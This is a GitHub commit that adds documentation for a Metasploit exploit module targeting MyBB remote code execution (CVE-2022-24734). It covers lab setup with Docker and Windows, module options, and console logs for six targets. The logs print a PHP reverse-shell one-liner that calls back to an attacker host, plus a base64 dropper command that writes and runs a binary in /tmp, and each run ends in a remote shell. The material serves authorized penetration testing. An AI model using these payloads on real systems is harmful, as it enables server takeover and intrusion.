Skip to content

Commit bac9be9

Browse files
cdelafuente-r7cdelafuente-r7
committed
Add documentation
1 parent 1f304ef commit bac9be9

File tree

1 file changed

+398
-0
lines changed

1 file changed

+398
-0
lines changed

‎documentation/modules/exploit/multi/http/mybb_rce_cve_2022_24734.md‎

Lines changed: 398 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,398 @@
1+
## Vulnerable Application
2+
3+
This exploit module leverages an improper input validation vulnerability in MyBB prior to `1.8.30` to execute arbitrary code in the context of the user running the application.
4+
5+
MyBB Admin Control setting page calls PHP `eval` function with an unsanitized user input. The exploit adds a new setting, injecting the payload in the vulnerable field, and triggers its execution with a second request. Finally, it takes care of cleaning up and removes the setting.
6+
7+
Note that authentication is required for this exploit to work and the account must have rights to add or update settings (typically, myBB administrator role).
8+
9+
## Installation Steps
10+
11+
### Linux with Docker
12+
- Use this `docket-compose.yml` file (see [this](https://github.com/mybb/docker#-via-docker-stack-deploy-or-docker-compose)):
13+
```
14+
services:
15+
mybb:
16+
image: mybb/mybb:1.8.29
17+
volumes:
18+
- ${PWD}/mybb:/var/www/html:rw
19+
20+
nginx:
21+
image: nginx:mainline-alpine
22+
ports:
23+
- published: 8080
24+
target: 80
25+
volumes:
26+
- ${PWD}/nginx:/etc/nginx/conf.d:ro
27+
- ${PWD}/mybb:/var/www/html:ro
28+
29+
postgresql:
30+
environment:
31+
POSTGRES_DB: mybb
32+
POSTGRES_PASSWORD: changeme
33+
POSTGRES_USER: mybb
34+
image: postgres:14-alpine
35+
volumes:
36+
- ${PWD}/postgres/data:/var/lib/postgresql/data:rw
37+
38+
version: '3.8'
39+
```
40+
- Create `nginx/default.conf`
41+
```
42+
upstream mybb {
43+
server mybb:9000 weight=5;
44+
}
45+
46+
server {
47+
listen 80;
48+
49+
root /var/www/html;
50+
index index.html index.php;
51+
52+
location / {
53+
try_files $uri $uri/ /index.php?$args;
54+
}
55+
56+
location ~ inc/ {
57+
internal;
58+
}
59+
60+
location ~ ^/(images|cache|jscripts|uploads)/ {
61+
access_log off;
62+
}
63+
64+
location ~ \.php$ {
65+
try_files $uri =404;
66+
fastcgi_split_path_info ^(.+\.php)(/.+)$;
67+
fastcgi_pass mybb;
68+
fastcgi_index index.php;
69+
include fastcgi_params;
70+
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
71+
fastcgi_param PATH_INFO $fastcgi_path_info;
72+
}
73+
}
74+
```
75+
- Run `docker-compose up`.
76+
- Access the application at `http://127.0.0.1:8080/install` and finish the installation process.
77+
78+
### Windows with Nginx, PHP and MySQL
79+
- Install MySQL:
80+
- Follow the installation process [here](https://dev.mysql.com/doc/refman/8.0/en/windows-installation.html)
81+
- Install PHP:
82+
- Download PHP (Non Thread Safe) [here](http://windows.php.net/download/)
83+
- Extract everything to `C:\php`
84+
- run:
85+
```
86+
cd C:\php
87+
set PHP_FCGI_CHILDREN=5
88+
set PHP_FCGI_MAX_REQUESTS=500
89+
php-cgi.exe -b 127.0.0.1:9999
90+
```
91+
- Install Nginx:
92+
- Download Nginx [here](http://nginx.org/en/download.html)
93+
- Extract everything to `C:\nginx`
94+
- Set the following options to `C:\nginx\nginx.conf`
95+
```
96+
worker_processes auto;
97+
...
98+
server {
99+
listen 80;
100+
101+
root www;
102+
index index.html index.php;
103+
104+
location / {
105+
try_files $uri $uri/ /index.php?$args;
106+
}
107+
108+
location ~ inc/ {
109+
internal;
110+
}
111+
112+
location ~ ^/(images|cache|jscripts|uploads)/ {
113+
access_log off;
114+
}
115+
116+
location ~ \.php$ {
117+
try_files $uri =404;
118+
fastcgi_split_path_info ^(.+\.php)(/.+)$;
119+
fastcgi_pass 127.0.0.1:9999;
120+
fastcgi_index index.php;
121+
include fastcgi_params;
122+
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
123+
fastcgi_param PATH_INFO $fastcgi_path_info;
124+
}
125+
}
126+
```
127+
- Run:
128+
```
129+
cd C:\nginx
130+
start nginx.exe
131+
```
132+
- Install MyBB
133+
- Follow the installation process [here](https://docs.mybb.com/1.8/install/).
134+
135+
## Verification Steps
136+
1. Install the application (see [Installation Steps](#installation-steps))
137+
1. Start msfconsole
138+
1. Do: `use exploit/multi/http/mybb_rce_cve_2022_24734`
139+
1. Do: `run LHOST=<local host IP> RHOSTS=<remote host IP> USERNAME=<MyBB user> PASSWORD=<MyBB password>`
140+
1. You should get a shell.
141+
1. Try again with a different targets
142+
143+
## Options
144+
145+
### USERNAME
146+
147+
The username of a privileged MyBB account. It must have rights to add or update setting (usually with the administrator role)
148+
149+
### PASSWORD
150+
151+
The password of the MyBB account.
152+
153+
## Scenarios
154+
155+
### Windows (target 0 - PHP)
156+
```
157+
msf6 exploit(multi/http/mybb_rce_cve_2022_24734) > run Verbose=true LHOST=192.168.1.44 RHOSTS=192.168.1.215 USERNAME=msfuser PASSWORD=123456
158+
[*] Started reverse TCP handler on 192.168.1.44:4444
159+
[*] Running automatic check ("set AutoCheck false" to disable)
160+
[+] MyBB forum found running at /
161+
[!] The service is running, but could not be validated.
162+
[*] Attempting login
163+
[+] Login successful!
164+
[*] Adding a malicious settings
165+
[*] Adding a crafted configuration setting entry with the payload
166+
[+] Payload successfully sent
167+
[*] Triggering the payload execution
168+
[*] Sending stage (39860 bytes) to 192.168.1.215
169+
[*] Meterpreter session 1 opened (192.168.1.44:4444 -> 192.168.1.215:63777) at 2022-05-23 15:41:40 +0200
170+
[*] Removing the configuration setting
171+
[*] Grab the delete parameters
172+
[*] Send the delete request
173+
[*] Shell incoming...
174+
175+
meterpreter > sysinfo
176+
Computer : DC02
177+
OS : Windows NT DC02 10.0 build 17763 (Windows Server 2019) AMD64
178+
Meterpreter : php/windows
179+
```
180+
181+
### Linux (target 0 - PHP)
182+
```
183+
msf6 exploit(multi/http/mybb_rce_cve_2022_24734) > run Verbose=true LHOST=192.168.0.48 RHOSTS=127.0.0.1 RPORT=8080 USERNAME=msfuser PASSWORD=123456
184+
[*] Started reverse TCP handler on 192.168.0.48:4444
185+
[*] Running automatic check ("set AutoCheck false" to disable)
186+
[+] MyBB forum found running at /
187+
[!] The service is running, but could not be validated.
188+
[*] Attempting login
189+
[+] Login successful!
190+
[*] Adding a malicious settings
191+
[*] Adding a crafted configuration setting entry with the payload
192+
[+] Payload successfully sent
193+
[*] Triggering the payload execution
194+
[*] Sending stage (39860 bytes) to 192.168.0.48
195+
[*] Meterpreter session 2 opened (192.168.0.48:4444 -> 192.168.0.48:50029) at 2022-05-23 15:41:58 +0200
196+
[*] Removing the configuration setting
197+
[*] Grab the delete parameters
198+
[*] Send the delete request
199+
[*] Shell incoming...
200+
201+
meterpreter > sysinfo
202+
Computer : e087259940a8
203+
OS : Linux e087259940a8 5.10.76-linuxkit #1 SMP Mon Nov 8 10:21:19 UTC 2021 x86_64
204+
Meterpreter : php/linux
205+
```
206+
207+
### Linux (target 1 - Unix (In-Memory))
208+
```
209+
msf6 exploit(multi/http/mybb_rce_cve_2022_24734) > set target 1
210+
target => 1
211+
msf6 exploit(multi/http/mybb_rce_cve_2022_24734) > run Verbose=true LHOST=192.168.0.48 RHOSTS=127.0.0.1 RPORT=8080 USERNAME=msfuser PASSWORD=123456
212+
[+] php -r '$ctxt=stream_context_create(["ssl"=>["verify_peer"=>false,"verify_peer_name"=>false]]);while($s=@stream_socket_client("ssl://192.168.0.48:4444",$erno,$erstr,30,STREAM_CLIENT_CONNECT,$ctxt)){while($l=fgets($s)){exec($l,$o);$o=implode("\n",$o);$o.="\n";fputs($s,$o);}}'&
213+
[*] Started reverse SSL handler on 192.168.0.48:4444
214+
[*] Running automatic check ("set AutoCheck false" to disable)
215+
[+] MyBB forum found running at /
216+
[!] The service is running, but could not be validated.
217+
[*] Attempting login
218+
[+] Login successful!
219+
[*] Adding a malicious settings
220+
[*] Adding a crafted configuration setting entry with the payload
221+
[+] Payload successfully sent
222+
[*] Triggering the payload execution
223+
[*] Removing the configuration setting
224+
[*] Grab the delete parameters
225+
[*] Send the delete request
226+
[*] Shell incoming...
227+
[*] Command shell session 3 opened (192.168.0.48:4444 -> 192.168.0.48:50151) at 2022-05-23 15:42:58 +0200
228+
229+
230+
ls
231+
backups
232+
inc
233+
index.php
234+
jscripts
235+
modules
236+
styles
237+
^C
238+
Abort session 3? [y/N] y
239+
```
240+
241+
### Linux (target 2 - linux (Dropper))
242+
```
243+
msf6 exploit(multi/http/mybb_rce_cve_2022_24734) > run Verbose=true LHOST=192.168.0.48 RHOSTS=127.0.0.1 RPORT=8080 USERNAME=msfuser PASSWORD=123456
244+
[*] Started reverse TCP handler on 192.168.0.48:4444
245+
[*] Running automatic check ("set AutoCheck false" to disable)
246+
[+] MyBB forum found running at /
247+
[!] The service is running, but could not be validated.
248+
[*] Attempting login
249+
[+] Login successful!
250+
[*] Adding a malicious settings
251+
[*] Generated command stager: ["echo -n f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAVIAECDQAAAAAAAAAAAAAADQAIAABAAAAAAAAAAEAAAAAAAAAAIAECACABAjPAAAASgEAAAcAAAAAEAAAagpeMdv341NDU2oCsGaJ4c2Al1towKgBE2gCABFcieFqZlhQUVeJ4UPNgIXAeRlOdD1oogAAAFhqAGoFieMxyc2AhcB5vesnsge5ABAAAInjwesMweMMsH3NgIXAeBBbieGZsmqwA82AhcB4Av/huAEAAAC7AQAAAM2A>>'/tmp/UAznK.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/jHFeb' < '/tmp/UAznK.b64' ; chmod +x '/tmp/jHFeb' ; '/tmp/jHFeb' ; rm -f '/tmp/jHFeb' ; rm -f '/tmp/UAznK.b64'"]
252+
[*] Adding a crafted configuration setting entry with the payload
253+
[+] Payload successfully sent
254+
[*] Triggering the payload execution
255+
[*] Transmitting intermediate stager...(106 bytes)
256+
[*] Sending stage (989032 bytes) to 192.168.0.48
257+
[*] Meterpreter session 4 opened (192.168.0.48:4444 -> 192.168.0.48:50213) at 2022-05-23 15:43:26 +0200
258+
[*] Removing the configuration setting
259+
[*] Grab the delete parameters
260+
[*] Send the delete request
261+
[*] Shell incoming...
262+
[*] Command Stager progress - 100.00% done (763/763 bytes)
263+
264+
meterpreter > sysinfo
265+
Computer : 172.18.0.4
266+
OS : (Linux 5.10.76-linuxkit)
267+
Architecture : x64
268+
BuildTuple : i486-linux-musl
269+
Meterpreter : x86/linux
270+
```
271+
272+
### Windows (target 3 - PowerShell (In-Memory))
273+
```
274+
msf6 exploit(multi/http/mybb_rce_cve_2022_24734) > set target 3
275+
target => 3
276+
msf6 exploit(multi/http/mybb_rce_cve_2022_24734) > run Verbose=true LHOST=192.168.1.44 RHOSTS=192.168.1.215 USERNAME=msfuser PASSWORD=123456
277+
[*] Started reverse TCP handler on 192.168.1.44:4444
278+
[*] Running automatic check ("set AutoCheck false" to disable)
279+
[+] MyBB forum found running at /
280+
[!] The service is running, but could not be validated.
281+
[*] Attempting login
282+
[+] Login successful!
283+
[*] Adding a malicious settings
284+
[*] Powershell command length: 6767
285+
[*] Adding a crafted configuration setting entry with the payload
286+
[+] Payload successfully sent
287+
[*] Triggering the payload execution
288+
[*] Sending stage (175174 bytes) to 192.168.1.215
289+
[*] Meterpreter session 5 opened (192.168.1.44:4444 -> 192.168.1.215:63818) at 2022-05-23 15:43:54 +0200
290+
[*] Removing the configuration setting
291+
[*] Grab the delete parameters
292+
[*] Send the delete request
293+
[*] Shell incoming...
294+
295+
meterpreter > sysinfo
296+
Computer : DC02
297+
OS : Windows 2016+ (10.0 Build 17763).
298+
Architecture : x64
299+
System Language : en_US
300+
Domain : MYLAB
301+
Logged On Users : 8
302+
Meterpreter : x86/windows
303+
```
304+
305+
306+
### Windows (target 4 - Windows (In-Memory))
307+
```
308+
msf6 exploit(multi/http/mybb_rce_cve_2022_24734) > set target 4
309+
target => 4
310+
msf6 exploit(multi/http/mybb_rce_cve_2022_24734) > run Verbose=true LHOST=192.168.1.44 RHOSTS=192.168.1.215 USERNAME=msfuser PASSWORD=123456
311+
[*] Started reverse TCP handler on 192.168.1.44:4444
312+
[*] Running automatic check ("set AutoCheck false" to disable)
313+
[+] MyBB forum found running at /
314+
[!] The service is running, but could not be validated.
315+
[*] Attempting login
316+
[+] Login successful!
317+
[*] Adding a malicious settings
318+
[*] Adding a crafted configuration setting entry with the payload
319+
[+] Payload successfully sent
320+
[*] Triggering the payload execution
321+
[*] Removing the configuration setting
322+
[*] Grab the delete parameters
323+
[*] Send the delete request
324+
[*] Shell incoming...
325+
[*] Command shell session 6 opened (192.168.1.44:4444 -> 192.168.1.215:63848) at 2022-05-23 15:44:23 +0200
326+
327+
328+
Shell Banner:
329+
Microsoft Windows [Version 10.0.17763.107]
330+
(c) 2018 Microsoft Corporation. All rights reserved.
331+
332+
C:\nginx\www\admin>
333+
-----
334+
335+
336+
C:\nginx\www\admin>dir
337+
dir
338+
Volume in drive C has no label.
339+
Volume Serial Number is 4215-6DA6
340+
341+
Directory of C:\nginx\www\admin
342+
343+
05/19/2022 04:11 PM <DIR> .
344+
05/19/2022 04:11 PM <DIR> ..
345+
05/19/2022 04:11 PM <DIR> backups
346+
05/19/2022 04:11 PM <DIR> inc
347+
10/29/2021 12:00 AM 24,476 index.php
348+
05/19/2022 04:11 PM <DIR> jscripts
349+
05/19/2022 04:11 PM <DIR> modules
350+
05/19/2022 04:11 PM <DIR> styles
351+
1 File(s) 24,476 bytes
352+
7 Dir(s) 48,613,580,800 bytes free
353+
```
354+
355+
356+
### Windows (target 5 - Windows (Dropper))
357+
```
358+
msf6 exploit(multi/http/mybb_rce_cve_2022_24734) > set target 5
359+
target => 5
360+
msf6 exploit(multi/http/mybb_rce_cve_2022_24734) > run Verbose=true LHOST=192.168.1.44 RHOSTS=192.168.1.215 USERNAME=msfuser PASSWORD=123456
361+
[*] Started reverse TCP handler on 192.168.1.44:4444
362+
[*] Running automatic check ("set AutoCheck false" to disable)
363+
[+] MyBB forum found running at /
364+
[!] The service is running, but could not be validated.
365+
[*] Attempting login
366+
[+] Login successful!
367+
[*] Adding a malicious settings
368+
[*] Generated command stager: ["echo TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAA...
369+
[*] Adding a crafted configuration setting entry with the payload
370+
[+] Payload successfully sent
371+
[*] Triggering the payload execution
372+
[*] Removing the configuration setting
373+
[*] Grab the delete parameters
374+
[*] Send the delete request
375+
[*] Shell incoming...
376+
[*] Command Stager progress - 2.01% done (2046/101881 bytes)
377+
...
378+
[*] Command Stager progress - 98.40% done (100252/101881 bytes)
379+
[*] Adding a crafted configuration setting entry with the payload
380+
[+] Payload successfully sent
381+
[*] Triggering the payload execution
382+
[*] Sending stage (175174 bytes) to 192.168.1.215
383+
[*] Removing the configuration setting
384+
[*] Grab the delete parameters
385+
[*] Send the delete request
386+
[*] Shell incoming...
387+
[*] Command Stager progress - 100.00% done (101881/101881 bytes)
388+
[*] Meterpreter session 7 opened (192.168.1.44:4444 -> 192.168.1.215:64264) at 2022-05-23 15:45:07 +0200
389+
390+
meterpreter > sysinfo
391+
Computer : DC02
392+
OS : Windows 2016+ (10.0 Build 17763).
393+
Architecture : x64
394+
System Language : en_US
395+
Domain : MYLAB
396+
Logged On Users : 8
397+
Meterpreter : x86/windows
398+
```

0 commit comments

Comments
 (0)